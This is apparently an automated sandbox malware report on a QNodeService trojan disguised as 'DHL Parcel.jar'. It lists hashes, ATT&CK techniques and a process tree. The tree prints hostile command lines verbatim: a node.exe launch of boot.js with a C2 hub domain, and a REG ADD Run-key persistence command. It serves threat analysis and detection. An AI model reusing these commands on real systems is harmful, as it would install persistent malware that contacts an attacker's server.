qnodeservice | 8ba26665fcdc0fd1f35e78fe0d1503c9d3f9719da1eee2e69d5738af0f89567f

General

Target

DHL Parcel.jar
Size

78KB
MD5

7233aef533abb4b196eb92c5b55203c9
SHA1

bf34d18a78b5011ee331cb08fc88e7fbfb3fafff
SHA256

8ba26665fcdc0fd1f35e78fe0d1503c9d3f9719da1eee2e69d5738af0f89567f
SHA512

991965eaef6741be35e0f8a69c9d1854be8f48c0f4ef561e4c6d3bc34e8741b3719cc8411fef6adcb64cbb393a41a021dfb93ce383f2787fe85b0a922f82d7a8

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3640	node.exe
4016	node.exe
1128	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\65fd391f-4f96-4f62-ac8d-533f383f0f84 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad6f-167.dat	js
behavioral2/files/0x000100000001ad6f-170.dat	js
behavioral2/files/0x000100000001ad6f-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	wtfismyip.com
40	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3640	node.exe
3640	node.exe
3640	node.exe
3640	node.exe
4016	node.exe
4016	node.exe
4016	node.exe
4016	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe
1128	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 200	3288	java.exe	75
PID 3288 wrote to memory of 200	3288	java.exe	75
PID 200 wrote to memory of 3640	200	javaw.exe	77
PID 200 wrote to memory of 3640	200	javaw.exe	77
PID 3640 wrote to memory of 4016	3640	node.exe	79
PID 3640 wrote to memory of 4016	3640	node.exe	79
PID 4016 wrote to memory of 1128	4016	node.exe	80
PID 4016 wrote to memory of 1128	4016	node.exe	80
PID 1128 wrote to memory of 3840	1128	node.exe	82
PID 1128 wrote to memory of 3840	1128	node.exe	82
PID 3840 wrote to memory of 2084	3840	cmd.exe	83
PID 3840 wrote to memory of 2084	3840	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL Parcel.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ee5f49d6.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8gM9P6\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4016
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8gM9P6\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1128
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "65fd391f-4f96-4f62-ac8d-533f383f0f84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3840
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "65fd391f-4f96-4f62-ac8d-533f383f0f84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1128-175-0x000000D9C74C0000-0x000000D9C74C1000-memory.dmp

Filesize
4KB

Download
memory/3640-168-0x00000104CC880000-0x00000104CC881000-memory.dmp

Filesize
4KB

Download
memory/4016-171-0x0000020061CC0000-0x0000020061CC1000-memory.dmp

Filesize
4KB

Download

Analysis

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